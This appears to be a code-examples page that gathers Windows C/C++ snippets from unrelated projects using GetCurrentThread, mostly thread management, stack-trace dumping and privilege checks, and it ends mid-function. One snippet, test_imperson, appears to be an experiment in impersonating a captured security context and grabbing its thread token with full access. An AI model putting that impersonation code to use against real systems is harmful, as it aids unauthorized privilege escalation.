 * This may be called from DllMain, and hence operates under unusual
 * constraints.
 */
static GC_thread GC_new_thread(void) {
  int i;
  /* It appears to be unsafe to acquire a lock here, since this	*/
  /* code is apparently not preeemptible on some systems.	*/
  /* (This is based on complaints, not on Microsoft's official	*/
  /* documentation, which says this should perform "only simple	*/
  /* initialization tasks".)					*/
  /* Hence we make do with nonblocking synchronization.		*/

  /* The following should be a noop according to the win32	*/
  /* documentation.  There is empirical evidence that it	*/
  /* isn't.		- HB					*/
# if defined(MPROTECT_VDB)
   if (GC_incremental) SetUnhandledExceptionFilter(GC_write_fault_handler);
# endif
                /* cast away volatile qualifier */
  for (i = 0; InterlockedExchange((IE_t)&thread_table[i].in_use,1) != 0; i++) {
    /* Compare-and-swap would make this cleaner, but that's not 	*/
    /* supported before Windows 98 and NT 4.0.  In Windows 2000,	*/
    /* InterlockedExchange is supposed to be replaced by		*/
    /* InterlockedExchangePointer, but that's not really what I		*/
    /* want here.							*/
    if (i == MAX_THREADS - 1)
      ABORT("too many threads");
  }
  /* Update GC_max_thread_index if necessary.  The following is safe,	*/
  /* and unlike CompareExchange-based solutions seems to work on all	*/
  /* Windows95 and later platforms.					*/
  /* Unfortunately, GC_max_thread_index may be temporarily out of 	*/
  /* bounds, so readers have to compensate.				*/
  while (i > GC_max_thread_index) {
    InterlockedIncrement((IE_t)&GC_max_thread_index);
  }
  if (GC_max_thread_index >= MAX_THREADS) {
    /* We overshot due to simultaneous increments.	*/
    /* Setting it to MAX_THREADS-1 is always safe.	*/
    GC_max_thread_index = MAX_THREADS - 1;
  }
  
# ifdef CYGWIN32
    thread_table[i].pthread_id = pthread_self();
# endif
  if (!DuplicateHandle(GetCurrentProcess(),
	               GetCurrentThread(),
		       GetCurrentProcess(),
		       (HANDLE*)&thread_table[i].handle,
		       0,
		       0,
		       DUPLICATE_SAME_ACCESS)) {
	DWORD last_error = GetLastError();
	GC_printf1("Last error code: %lx\n", last_error);
	ABORT("DuplicateHandle failed");
  }
  thread_table[i].stack_base = GC_get_stack_base();
  /* Up until this point, GC_push_all_stacks considers this thread	*/
  /* invalid.								*/
  if (thread_table[i].stack_base == NULL) 
    ABORT("Failed to find stack base in GC_new_thread");
  /* Up until this point, this entry is viewed as reserved but invalid	*/
  /* by GC_delete_thread.						*/
  thread_table[i].id = GetCurrentThreadId();
  /* If this thread is being created while we are trying to stop	*/
  /* the world, wait here.  Hopefully this can't happen on any	*/
  /* systems that don't allow us to block here.			*/
  while (GC_please_stop) Sleep(20);
  return thread_table + i;
}
Пример #20
0
/* \brief Writes a simple stack trace to the XBMC user directory.
   It needs a valid .pdb file to show the method, filename and
   line number where the exception took place.
*/
bool win32_exception::write_stacktrace(EXCEPTION_POINTERS* pEp)
{
  #define STACKWALK_MAX_NAMELEN 1024

  std::string dumpFileName, strOutput;
  std::wstring dumpFileNameW;
  CHAR cTemp[STACKWALK_MAX_NAMELEN];
  DWORD dwBytes;
  SYSTEMTIME stLocalTime;
  GetLocalTime(&stLocalTime);
  bool returncode = false;
  STACKFRAME64 frame = { 0 };
  HANDLE hCurProc = GetCurrentProcess();
  IMAGEHLP_SYMBOL64* pSym = NULL;
  HANDLE hDumpFile = INVALID_HANDLE_VALUE;
  tSC pSC = NULL;

  HMODULE hDbgHelpDll = ::LoadLibrary("DBGHELP.DLL");
  if (!hDbgHelpDll)
  {
    goto cleanup;
  }

  tSI pSI       = (tSI) GetProcAddress(hDbgHelpDll, "SymInitialize" );
  tSGO pSGO     = (tSGO) GetProcAddress(hDbgHelpDll, "SymGetOptions" );
  tSSO pSSO     = (tSSO) GetProcAddress(hDbgHelpDll, "SymSetOptions" );
  pSC           = (tSC) GetProcAddress(hDbgHelpDll, "SymCleanup" );
  tSW pSW       = (tSW) GetProcAddress(hDbgHelpDll, "StackWalk64" );
  tSGSFA pSGSFA = (tSGSFA) GetProcAddress(hDbgHelpDll, "SymGetSymFromAddr64" );
  tUDSN pUDSN   = (tUDSN) GetProcAddress(hDbgHelpDll, "UnDecorateSymbolName" );
  tSGLFA pSGLFA = (tSGLFA) GetProcAddress(hDbgHelpDll, "SymGetLineFromAddr64" );
  tSFTA pSFTA   = (tSFTA) GetProcAddress(hDbgHelpDll, "SymFunctionTableAccess64" );
  tSGMB pSGMB   = (tSGMB) GetProcAddress(hDbgHelpDll, "SymGetModuleBase64" );

  if(pSI == NULL || pSGO == NULL || pSSO == NULL || pSC == NULL || pSW == NULL || pSGSFA == NULL || pUDSN == NULL || pSGLFA == NULL ||
     pSFTA == NULL || pSGMB == NULL)
    goto cleanup;

  dumpFileName = StringUtils::Format("kodi_stacktrace-%s-%04d%02d%02d-%02d%02d%02d.txt",
                                      mVersion.c_str(),
                                      stLocalTime.wYear, stLocalTime.wMonth, stLocalTime.wDay,
                                      stLocalTime.wHour, stLocalTime.wMinute, stLocalTime.wSecond);

  dumpFileName = CWIN32Util::SmbToUnc(URIUtils::AddFileToFolder(CWIN32Util::GetProfilePath(), CUtil::MakeLegalFileName(dumpFileName)));

  dumpFileNameW = KODI::PLATFORM::WINDOWS::ToW(dumpFileName);
  hDumpFile = CreateFileW(dumpFileNameW.c_str(), GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);

  if (hDumpFile == INVALID_HANDLE_VALUE)
  {
    goto cleanup;
  }

  frame.AddrPC.Offset         = pEp->ContextRecord->Eip;      // Current location in program
  frame.AddrPC.Mode           = AddrModeFlat;                 // Address mode for this pointer: flat 32 bit addressing
  frame.AddrStack.Offset      = pEp->ContextRecord->Esp;      // Stack pointers current value
  frame.AddrStack.Mode        = AddrModeFlat;                 // Address mode for this pointer: flat 32 bit addressing
  frame.AddrFrame.Offset      = pEp->ContextRecord->Ebp;      // Value of register used to access local function variables.
  frame.AddrFrame.Mode        = AddrModeFlat;                 // Address mode for this pointer: flat 32 bit addressing

  if(pSI(hCurProc, NULL, TRUE) == FALSE)
    goto cleanup;

  DWORD symOptions = pSGO();
  symOptions |= SYMOPT_LOAD_LINES;
  symOptions |= SYMOPT_FAIL_CRITICAL_ERRORS;
  symOptions &= ~SYMOPT_UNDNAME;
  symOptions &= ~SYMOPT_DEFERRED_LOADS;
  symOptions = pSSO(symOptions);

  pSym = (IMAGEHLP_SYMBOL64 *) malloc(sizeof(IMAGEHLP_SYMBOL64) + STACKWALK_MAX_NAMELEN);
  if (!pSym)
    goto cleanup;
  memset(pSym, 0, sizeof(IMAGEHLP_SYMBOL64) + STACKWALK_MAX_NAMELEN);
  pSym->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL64);
  pSym->MaxNameLength = STACKWALK_MAX_NAMELEN;

  IMAGEHLP_LINE64 Line;
  memset(&Line, 0, sizeof(Line));
  Line.SizeOfStruct = sizeof(Line);

  IMAGEHLP_MODULE64 Module;
  memset(&Module, 0, sizeof(Module));
  Module.SizeOfStruct = sizeof(Module);
  int seq=0;

  strOutput = StringUtils::Format("Thread %d (process %d)\r\n", GetCurrentThreadId(), GetCurrentProcessId());
  WriteFile(hDumpFile, strOutput.c_str(), strOutput.size(), &dwBytes, NULL);

  while(pSW(IMAGE_FILE_MACHINE_I386, hCurProc, GetCurrentThread(), &frame, pEp->ContextRecord, NULL, pSFTA, pSGMB, NULL))
  {
    if(frame.AddrPC.Offset != 0)
    {
      DWORD64 symoffset=0;
      DWORD   lineoffset=0;
      strOutput = StringUtils::Format("#%2d", seq++);

      if(pSGSFA(hCurProc, frame.AddrPC.Offset, &symoffset, pSym))
      {
        if(pUDSN(pSym->Name, cTemp, STACKWALK_MAX_NAMELEN, UNDNAME_COMPLETE)>0)
          strOutput.append(StringUtils::Format(" %s", cTemp));
      }
      if(pSGLFA(hCurProc, frame.AddrPC.Offset, &lineoffset, &Line))
        strOutput.append(StringUtils::Format(" at %s:%d", Line.FileName, Line.LineNumber));

      strOutput.append("\r\n");
      WriteFile(hDumpFile, strOutput.c_str(), strOutput.size(), &dwBytes, NULL);
    }
  }
  returncode = true;

cleanup:
  if (pSym)
    free( pSym );

  if (hDumpFile != INVALID_HANDLE_VALUE)
    CloseHandle(hDumpFile);

  if(pSC)
    pSC(hCurProc);

  if (hDbgHelpDll)
    FreeLibrary(hDbgHelpDll);

  return returncode;
}
Пример #21
0
void test_imperson(){
    SECURITY_STATUS ss;
    SecPkgContext_Sizes SecPkgContextSizes;
    SecPkgContext_NegotiationInfo SecPkgNegInfo;
    ULONG cbMaxSignature;
    ULONG cbSecurityTrailer;
    //username bullshit
    LPTSTR pUserName = NULL;
    DWORD cbUserName = 0;
    

    ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_SIZES, &SecPkgContextSizes);

    if (!SEC_SUCCESS(ss))
    {
        fprintf(stderr, "QueryContextAttributes failed: 0x%08x\n", ss);
        exit(1);
    }

    //----------------------------------------------------------------
    //  The following values are used for encryption and signing.
    cbMaxSignature = SecPkgContextSizes.cbMaxSignature;
    cbSecurityTrailer = SecPkgContextSizes.cbSecurityTrailer;

    ss = QueryContextAttributes(
        &hctxt,
        SECPKG_ATTR_NEGOTIATION_INFO,
        &SecPkgNegInfo);

    if (!SEC_SUCCESS(ss))
    {
        fprintf(stderr, "QueryContextAttributes failed: 0x%08x\n", ss);
        exit(1);
    }
    else
    {
        wprintf(L"PackageName: %s\n", (SecPkgNegInfo.PackageInfo->Name));
        wprintf(L"PackageName: %s\n", (SecPkgNegInfo.PackageInfo->Comment));
    }

    //  Free the allocated buffer.
    FreeContextBuffer(SecPkgNegInfo.PackageInfo);


    printf("Now impersonating via thread\n");
    ss = ImpersonateSecurityContext(&hctxt);
    // error check
    if (!SEC_SUCCESS(ss))
    {
        fprintf(stderr, "Impersonate failed: 0x%08x\n", ss);
        cleanup();
    }
    else
    {
        printf("Impersonation worked. \n");
    }


    DWORD dwErrorCode = 0;
    if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &letToken))
    {
        printf("it WORKED!\n");
    }
    else
   {
      dwErrorCode = GetLastError();
      wprintf(L"OpenProcessToken failed. GetLastError returned: %d\n", dwErrorCode);

   }


    DWORD dwBufferSize = 0;
    GetTokenInformation(
        letToken,
        TokenUser,      // Request for a TOKEN_USER structure.
        NULL,
        0,
        &dwBufferSize
        );


    // username bullshit
    TCHAR username[UNLEN + 1];
    DWORD size = UNLEN + 1;
    GetUserName((TCHAR*)username, &size);
    std::cout << "Username: " << std::endl;
    for (int i = 0; (unsigned)i < size; i++) // use unsigned since dword is a unsigned int
        if (isalpha(username[i])) std::cout << (char)(username[i]
    );
    std::cout << "\n" << std::endl;

    /*
    SecPkgContext_SessionKey      SecPackSess;
    SecPkgContext_KeyInfo         SecPackKey;
    ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_SESSION_KEY, &SecPackSess);
    ss = QueryContextAttributes(&hctxt, SECPKG_ATTR_KEY_INFO, &SecPackKey);
    */

    /*
    printf("OHHH YESSSSS!\n";
    printf("OHHH YESSSSS!\n";
    printf("Test calc.exe\n");
    if (!system("calc.exe")) {
        printf("test failed\n");
    }
    */

    //////////////////////////////////////////////////////////////////////
    printf("Check your tokens now bro!\n"); // sleep
    printf("Sleeping for 5min");
    Sleep(300000); //just a test
    //  Revert to self.
    
    ss = RevertSecurityContext(&hctxt);
    if (!SEC_SUCCESS(ss))
    {
        fprintf(stderr, "Revert failed: 0x%08x\n", ss);
        cleanup();
    }
    else
    {
        printf("Reverted to self.\n");
    }
}
void QAdoptedThread::init()
{
    d_func()->handle = GetCurrentThread();
    d_func()->id = GetCurrentThreadId();
}
Пример #23
0
UINT GetStackBacktrace
(
UINT ifrStart,          // How many stack elements to skip before starting. 
UINT cfrTotal,          // How many elements to trace after starting.
DWORD_PTR* pdwEip,      // Array to be filled with stack addresses.
SYM_INFO* psiSymbols,   // This array is filled with symbol information.
                        // It should be big enough to hold cfrTotal elts.
                        // If NULL, no symbol information is stored.
CONTEXT * pContext      // Context to use (or NULL to use current)
)
{
    STATIC_CONTRACT_NOTHROW;
    STATIC_CONTRACT_GC_NOTRIGGER;
    STATIC_CONTRACT_CANNOT_TAKE_LOCK;
    
    UINT        nElements   = 0;
    DWORD_PTR*  pdw         = pdwEip;
    SYM_INFO*   psi         = psiSymbols;

    MagicInit();

    memset(pdwEip, 0, cfrTotal*sizeof(DWORD_PTR));

    if (psiSymbols)
    {
        memset(psiSymbols, 0, cfrTotal * sizeof(SYM_INFO));
    }

    if (!g_fLoadedImageHlp)
    {
        return 0;
    }

    CONTEXT context;
    if (pContext == NULL)
    {
        ClrCaptureContext(&context);
    }
    else
    {   
        memcpy(&context, pContext, sizeof(CONTEXT));
    }

#ifdef _WIN64
    STACKFRAME64 stkfrm;
    memset(&stkfrm, 0, sizeof(STACKFRAME64));
#else
    STACKFRAME stkfrm;
    memset(&stkfrm, 0, sizeof(STACKFRAME));
#endif

    stkfrm.AddrPC.Mode      = AddrModeFlat;
    stkfrm.AddrStack.Mode   = AddrModeFlat;
    stkfrm.AddrFrame.Mode   = AddrModeFlat;
#if defined(_M_IX86)
    stkfrm.AddrPC.Offset    = context.Eip;
    stkfrm.AddrStack.Offset = context.Esp;
    stkfrm.AddrFrame.Offset = context.Ebp;  // Frame Pointer
#endif

#ifndef _TARGET_X86_
    // If we don't have a user-supplied context, then don't skip any frames.
    // So ignore this function (GetStackBackTrace)
    // ClrCaptureContext on x86 gives us the ESP/EBP/EIP of its caller's caller
    // so we don't need to do this.
    if (pContext == NULL)
    {
        ifrStart += 1;        
    }
#endif // !_TARGET_X86_

    for (UINT i = 0; i < ifrStart + cfrTotal; i++)
    {
        if (!_StackWalk(IMAGE_FILE_MACHINE_NATIVE,
                        g_hProcess,
                        GetCurrentThread(),
                        &stkfrm,
                        &context,
                        NULL,
                        (PFUNCTION_TABLE_ACCESS_ROUTINE)FunctionTableAccess,
                        (PGET_MODULE_BASE_ROUTINE)GetModuleBase,
                        NULL))
        {
            break;
        }

        if (i >= ifrStart)
        {
            *pdw++ = stkfrm.AddrPC.Offset;
            nElements++;

            if (psi)
            {
                FillSymbolInfo(psi++, stkfrm.AddrPC.Offset);
            }   
        }
    }

    LOCAL_ASSERT(nElements == (UINT)(pdw - pdwEip));
    return nElements;
}
Пример #24
0
int main(int argc, char *argv[]) {
	struct arg_str *vpOpt    = arg_str1("v", "vidpid", "<VID:PID>", " vendor ID and product ID (e.g 04B4:8613)");
	struct arg_uint *toOpt = arg_uint0("t", "timeout", "<millis>", " timeout in milliseconds");
	struct arg_int  *epOpt   = arg_int0("e", "endpoint", "<epNum>", " endpoint to write to");
	struct arg_lit  *benOpt  = arg_lit0("b", "benchmark", "        benchmark the operation");
	struct arg_lit  *chkOpt  = arg_lit0("c", "checksum", "         print 16-bit checksum");
	struct arg_lit  *helpOpt = arg_lit0("h", "help", "             print this help and exit\n");
	struct arg_file *fileOpt = arg_file1(NULL, NULL, "<fileName>", "             the data to send");
	struct arg_end  *endOpt  = arg_end(20);
	void* argTable[] = {vpOpt, toOpt, epOpt, benOpt, chkOpt, helpOpt, fileOpt, endOpt};
	const char *progName = "bulk";
	int numErrors;
	uint8 epNum = 0x06;
	FILE *inFile = NULL;
	uint8 *buffer = NULL;
	uint32 fileLen;
	struct USBDevice *deviceHandle = NULL;
	USBStatus uStatus;
	int retVal = 0;
	const char *error = NULL;
	double totalTime, speed;
	uint16 checksum = 0x0000;
	uint32 timeout = 5000;
	uint32 i;
	#ifdef WIN32
		LARGE_INTEGER tvStart, tvEnd, freq;
		DWORD_PTR mask = 1;
		SetThreadAffinityMask(GetCurrentThread(), mask);
		QueryPerformanceFrequency(&freq);
	#else
		struct timeval tvStart, tvEnd;
		long long startTime, endTime;
	#endif

	if ( arg_nullcheck(argTable) != 0 ) {
		printf("%s: insufficient memory\n", progName);
		FAIL(1, cleanup);
	}

	numErrors = arg_parse(argc, argv, argTable);
	if ( helpOpt->count > 0 ) {
		printf("Bulk Write Tool Copyright (C) 2009-2011 Chris McClelland\n\nUsage: %s", progName);
		arg_print_syntax(stdout, argTable, "\n");
		printf("\nWrite data to a bulk endpoint.\n\n");
		arg_print_glossary(stdout, argTable,"  %-10s %s\n");
		FAIL(0, cleanup);
	}

	if ( numErrors > 0 ) {
		arg_print_errors(stdout, endOpt, progName);
		printf("Try '%s --help' for more information.\n", progName);
		FAIL(2, cleanup);
	}

	if ( toOpt->count ) {
		timeout = toOpt->ival[0];
	}

	inFile = fopen(fileOpt->filename[0], "rb");
	if ( !inFile ) {
		fprintf(stderr, "Unable to open file %s\n", fileOpt->filename[0]);
		FAIL(3, cleanup);
	}

	fseek(inFile, 0, SEEK_END);
	fileLen = (uint32)ftell(inFile);
	fseek(inFile, 0, SEEK_SET);

	buffer = (uint8 *)malloc(fileLen);
	if ( !buffer ) {
		fprintf(stderr, "Unable to allocate memory for file %s\n", fileOpt->filename[0]);
		FAIL(4, cleanup);
	}

	if ( fread(buffer, 1, fileLen, inFile) != fileLen ) {
		fprintf(stderr, "Unable to read file %s\n", fileOpt->filename[0]);
		FAIL(5, cleanup);
	}

	if ( chkOpt->count ) {
		for ( i = 0; i < fileLen; i++  ) {
			checksum = (uint16)(checksum + buffer[i]);
		}
		printf("Checksum: 0x%04X\n", checksum);
	}

	if ( epOpt->count ) {
		epNum = (uint8)epOpt->ival[0];
	}

	uStatus = usbInitialise(0, &error);
	CHECK_STATUS(uStatus, 6, cleanup);
	uStatus = usbOpenDevice(vpOpt->sval[0], 1, 0, 0, &deviceHandle, &error);
	CHECK_STATUS(uStatus, 7, cleanup);

	#ifdef WIN32
		QueryPerformanceCounter(&tvStart);
		uStatus = usbBulkWrite(deviceHandle, epNum, buffer, fileLen, timeout, &error);
		QueryPerformanceCounter(&tvEnd);
		CHECK_STATUS(uStatus, 8, cleanup);
		totalTime = (double)(tvEnd.QuadPart - tvStart.QuadPart);
		totalTime /= freq.QuadPart;
		printf("Time: %fms\n", totalTime/1000.0);
		speed = (double)fileLen / (1024*1024*totalTime);
	#else
		gettimeofday(&tvStart, NULL);
		uStatus = usbBulkWrite(deviceHandle, epNum, buffer, fileLen, timeout, &error);
		gettimeofday(&tvEnd, NULL);
		CHECK_STATUS(uStatus, 8, cleanup);
		startTime = tvStart.tv_sec;
		startTime *= 1000000;
		startTime += tvStart.tv_usec;
		endTime = tvEnd.tv_sec;
		endTime *= 1000000;
		endTime += tvEnd.tv_usec;
		totalTime = (double)(endTime - startTime);
		totalTime /= 1000000;  // convert from uS to S.
		speed = (double)fileLen / (1024*1024*totalTime);
	#endif
	if ( benOpt->count ) {
		printf("Speed: %f MB/s\n", speed);
	}

cleanup:
	if ( buffer ) {
		free(buffer);
	}
	if ( inFile ) {
		fclose(inFile);
	}
	if ( deviceHandle ) {
		usbCloseDevice(deviceHandle, 0);
	}
	if ( error ) {
		fprintf(stderr, "%s\n", error);
		usbFreeError(error);
	}
	arg_freetable(argTable, sizeof(argTable)/sizeof(argTable[0]));
	return retVal;
}
Пример #25
0
_CRTIMP uintptr_t __cdecl __threadhandle(
        void
        )
{
    return( (uintptr_t)GetCurrentThread() );
}
Пример #26
0
BOOL
IsUserAdmin(
    VOID
    )

/*++

Routine Description:

    This routine returns TRUE if the caller's process is a
    member of the Administrators local group.

    Caller is NOT expected to be impersonating anyone and IS
    expected to be able to open their own process and process
    token.

Arguments:

    None.

Return Value:

    TRUE - Caller has Administrators local group.

    FALSE - Caller does not have Administrators local group.

--*/

{
    HANDLE Token;
    BOOL b = FALSE;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup = NULL;

    ImpersonateSelf( SecurityImpersonation );
    
    //
    // Open the process token.
    //
    
    if (OpenThreadToken( GetCurrentThread(), TOKEN_QUERY, FALSE, &Token)) {
        try {

            //
            //  Get SID for Administrators group
            //

            b = AllocateAndInitializeSid(
                    &NtAuthority,
                    2,
                    SECURITY_BUILTIN_DOMAIN_RID,
                    DOMAIN_ALIAS_RID_ADMINS,
                    0, 0, 0, 0, 0, 0,
                    &AdministratorsGroup
                    );
            if (!b) {
                leave;
            }

            //
            //  Check to see if that group is currently enabled.  Failure
            //  means that we aren't administrator
            //

            if (!CheckTokenMembership( Token, AdministratorsGroup, &b )) {
                printf("Failure - %d\n", GetLastError( ));
                b = FALSE;
            }

        } finally {
            CloseHandle(Token);
        }

    }
    
    RevertToSelf( );
    return(b);
}
Пример #27
0
XN_C_API XnStatus xnOSGetCurrentCallStack(XnInt32 nFramesToSkip, XnChar** astrFrames, XnUInt32 nMaxNameLength, XnInt32* pnFrames)
{
	if (*pnFrames == 0 || nMaxNameLength == 0)
	{
		return XN_STATUS_OK;
	}

	// Init
	if (!g_bInitialized)
	{
		Init();
		g_bInitialized = TRUE;
	}

	if (!g_bAvailable)
	{
		xnOSStrNCopy(astrFrames[0], "dbghelp.dll unavailable!", nMaxNameLength-1, nMaxNameLength);
		return XN_STATUS_ERROR;
	}

	// Get context
	CONTEXT context;
	RtlCaptureContext(&context);

	// init STACKFRAME for first call - Fill data according to processor (see WalkTrace64 and STACKFRAME64 documentation)
	STACKFRAME64 stackFrame;
	memset(&stackFrame, 0, sizeof(stackFrame));

	DWORD MachineType;
#ifdef _M_IX86
	MachineType = IMAGE_FILE_MACHINE_I386;
	stackFrame.AddrPC.Offset = context.Eip;
	stackFrame.AddrPC.Mode = AddrModeFlat;
	stackFrame.AddrFrame.Offset = context.Ebp;
	stackFrame.AddrFrame.Mode = AddrModeFlat;
	stackFrame.AddrStack.Offset = context.Esp;
	stackFrame.AddrStack.Mode = AddrModeFlat;
#elif _M_X64
	MachineType = IMAGE_FILE_MACHINE_AMD64;
	stackFrame.AddrPC.Offset = context.Rip;
	stackFrame.AddrPC.Mode = AddrModeFlat;
	stackFrame.AddrFrame.Offset = context.Rsp;
	stackFrame.AddrFrame.Mode = AddrModeFlat;
	stackFrame.AddrStack.Offset = context.Rsp;
	stackFrame.AddrStack.Mode = AddrModeFlat;
#elif _M_IA64
	MachineType = IMAGE_FILE_MACHINE_IA64;
	stackFrame.AddrPC.Offset = context.StIIP;
	stackFrame.AddrPC.Mode = AddrModeFlat;
	stackFrame.AddrFrame.Offset = context.IntSp;
	stackFrame.AddrFrame.Mode = AddrModeFlat;
	stackFrame.AddrBStore.Offset = context.RsBSP;
	stackFrame.AddrBStore.Mode = AddrModeFlat;
	stackFrame.AddrStack.Offset = context.IntSp;
	stackFrame.AddrStack.Mode = AddrModeFlat;
#else
#error "Platform not supported!"
#endif

	XnInt32 nFrames = 0;
	XnInt32 iFrame = 0;
	const XnUInt32 BUFFER_SIZE = 1024;
	XnChar symbolBuffer[BUFFER_SIZE];
	SYMBOL_INFO* pSymbolInfo = (SYMBOL_INFO*)symbolBuffer;
	pSymbolInfo->SizeOfStruct = sizeof(SYMBOL_INFO);
	pSymbolInfo->MaxNameLen = BUFFER_SIZE - sizeof(SYMBOL_INFO) - 1;

	HANDLE currentProcess = GetCurrentProcess();
	HANDLE currentThread = GetCurrentThread();
	while (iFrame < *pnFrames)
	{
		// walk the stack
		if (!g_pStackWalk64(MachineType, currentProcess, currentThread, &stackFrame, &context, NULL, g_pSymFunctionTableAccess64, g_pSymGetModuleBase64, NULL))
		{
			// probably reached end
			break;
		}

		if (nFrames >= nFramesToSkip)
		{
			// resolve function name
			BOOL found = g_pSymFromAddr(currentProcess, stackFrame.AddrPC.Offset, NULL, pSymbolInfo);

			UINT32 lineNum = 0;
			XnChar* strFileName = NULL;
			if (g_pSymGetLineFromAddr64 != NULL)
			{
				IMAGEHLP_LINE64 line;
				DWORD displacement;
				if (g_pSymGetLineFromAddr64(currentProcess, stackFrame.AddrPC.Offset, &displacement, &line))
				{
					lineNum = line.LineNumber;
					strFileName = line.FileName;
				}
			}

			XnUInt32 nWritten;
			if (found)
			{
				if (lineNum != 0)
				{
					xnOSStrFormat(astrFrames[iFrame], nMaxNameLength, &nWritten, "%s() Line %lu", pSymbolInfo->Name, lineNum);
				}
				else
				{
					xnOSStrFormat(astrFrames[iFrame], nMaxNameLength, &nWritten, "%s()", pSymbolInfo->Name);
				}
			}
			else
			{
				if ((strFileName != NULL) && (lineNum != 0))
				{
					xnOSStrFormat(astrFrames[iFrame], nMaxNameLength, &nWritten, "%s Line %lu", strFileName, lineNum);
				}
				else if (strFileName != NULL)
				{
					xnOSStrFormat(astrFrames[iFrame], nMaxNameLength, &nWritten, "0x%x %s", stackFrame.AddrPC.Offset, strFileName);
				}
				else
				{
					xnOSStrFormat(astrFrames[iFrame], nMaxNameLength, &nWritten, "0x%x", stackFrame.AddrPC.Offset);
				}
			}

			++iFrame;
		}

		++nFrames;
	}

	*pnFrames = iFrame;

	return XN_STATUS_OK;
}
extern "C" uintptr_t __cdecl __threadhandle()
{
    return reinterpret_cast<uintptr_t>(GetCurrentThread());
}
Пример #29
0
void PrintBacktrace(PCONTEXT context)
{
	HANDLE hProcess = GetCurrentProcess();
	HANDLE hThread = GetCurrentThread();

	char appDir[MAX_PATH + 1];
	GetModuleFileName(nullptr, appDir, sizeof(appDir));
	char* end = strrchr(appDir, PATH_SEPARATOR);
	if (end) *end = '\0';

	SymSetOptions(SymGetOptions() | SYMOPT_LOAD_LINES | SYMOPT_FAIL_CRITICAL_ERRORS);

	if (!SymInitialize(hProcess, appDir, TRUE))
	{
		warn("Could not obtain detailed exception information: SymInitialize failed");
		return;
	}

	const int MAX_NAMELEN = 1024;
	IMAGEHLP_SYMBOL64* sym = (IMAGEHLP_SYMBOL64 *) malloc(sizeof(IMAGEHLP_SYMBOL64) + MAX_NAMELEN);
	memset(sym, 0, sizeof(IMAGEHLP_SYMBOL64) + MAX_NAMELEN);
	sym->SizeOfStruct = sizeof(IMAGEHLP_SYMBOL64);
	sym->MaxNameLength = MAX_NAMELEN;

	IMAGEHLP_LINE64 ilLine;
	memset(&ilLine, 0, sizeof(ilLine));
	ilLine.SizeOfStruct = sizeof(ilLine);

	STACKFRAME64 sfStackFrame;
	memset(&sfStackFrame, 0, sizeof(sfStackFrame));
	DWORD imageType;
#ifdef _M_IX86
	imageType = IMAGE_FILE_MACHINE_I386;
	sfStackFrame.AddrPC.Offset = context->Eip;
	sfStackFrame.AddrPC.Mode = AddrModeFlat;
	sfStackFrame.AddrFrame.Offset = context->Ebp;
	sfStackFrame.AddrFrame.Mode = AddrModeFlat;
	sfStackFrame.AddrStack.Offset = context->Esp;
	sfStackFrame.AddrStack.Mode = AddrModeFlat;
#elif _M_X64
	imageType = IMAGE_FILE_MACHINE_AMD64;
	sfStackFrame.AddrPC.Offset = context->Rip;
	sfStackFrame.AddrPC.Mode = AddrModeFlat;
	sfStackFrame.AddrFrame.Offset = context->Rsp;
	sfStackFrame.AddrFrame.Mode = AddrModeFlat;
	sfStackFrame.AddrStack.Offset = context->Rsp;
	sfStackFrame.AddrStack.Mode = AddrModeFlat;
#else
	warn("Could not obtain detailed exception information: platform not supported");
	return;
#endif

	for (int frameNum = 0; ; frameNum++)
	{
		if (frameNum > 1000)
		{
			warn("Endless stack, abort tracing");
			return;
		}

		if (!StackWalk64(imageType, hProcess, hThread, &sfStackFrame, context, nullptr, SymFunctionTableAccess64, SymGetModuleBase64, nullptr))
		{
			warn("Could not obtain detailed exception information: StackWalk64 failed");
			return;
		}

		DWORD64 dwAddr = sfStackFrame.AddrPC.Offset;
		BString<1024> symName;
		BString<1024> srcFileName;
		int lineNumber = 0;

		DWORD64 dwSymbolDisplacement;
		if (SymGetSymFromAddr64(hProcess, dwAddr, &dwSymbolDisplacement, sym))
		{
			UnDecorateSymbolName(sym->Name, symName, symName.Capacity(), UNDNAME_COMPLETE);
			symName[sizeof(symName) - 1] = '\0';
		}
		else
		{
			symName = "<symbol not available>";
		}

		DWORD dwLineDisplacement;
		if (SymGetLineFromAddr64(hProcess, dwAddr, &dwLineDisplacement, &ilLine))
		{
			lineNumber = ilLine.LineNumber;
			char* useFileName = ilLine.FileName;
			char* root = strstr(useFileName, "\\daemon\\");
			if (root)
			{
				useFileName = root;
			}
			srcFileName = useFileName;
		}
		else
		{
			srcFileName = "<filename not available>";
		}

		info("%s (%i) : %s", *srcFileName, lineNumber, *symName);

		if (sfStackFrame.AddrReturn.Offset == 0)
		{
			break;
		}
	}
}
Пример #30
0
bool set_privilege(_In_z_ const wchar_t* privilege, _In_ bool enable)
{
	if (IsWindowsXPOrGreater())
	{
		HANDLE hToken;
		if (TRUE != OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
		{
			if (GetLastError() == ERROR_NO_TOKEN)
			{
				if (ImpersonateSelf(SecurityImpersonation) != TRUE)
				{
					printf("ImpersonateSelf( ) failed. gle=0x%08x", GetLastError());
					return false;
				}

				if (TRUE != OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
				{
					printf("OpenThreadToken() failed. gle=0x%08x", GetLastError());
					return false;
				}
			}
			else
			{
				printf("OpenThread() failed. gle=0x%08x", GetLastError());
				return false;
			}
		}

		TOKEN_PRIVILEGES tp = { 0 };
		LUID luid = { 0 };
		DWORD cb = sizeof(TOKEN_PRIVILEGES);
		if (!LookupPrivilegeValue(NULL, privilege, &luid))
		{
			printf("LookupPrivilegeValue() failed. gle=0x%08x", GetLastError());
			CloseHandle(hToken);
			return false;
		}
		tp.PrivilegeCount = 1;
		tp.Privileges[0].Luid = luid;
		if (enable)
		{
			tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
		}
		else
		{
			tp.Privileges[0].Attributes = 0;
		}

		if (FALSE == AdjustTokenPrivileges(hToken, FALSE, &tp, cb, NULL, NULL))
		{
			DWORD gle = GetLastError();
			if (gle != ERROR_SUCCESS)
			{
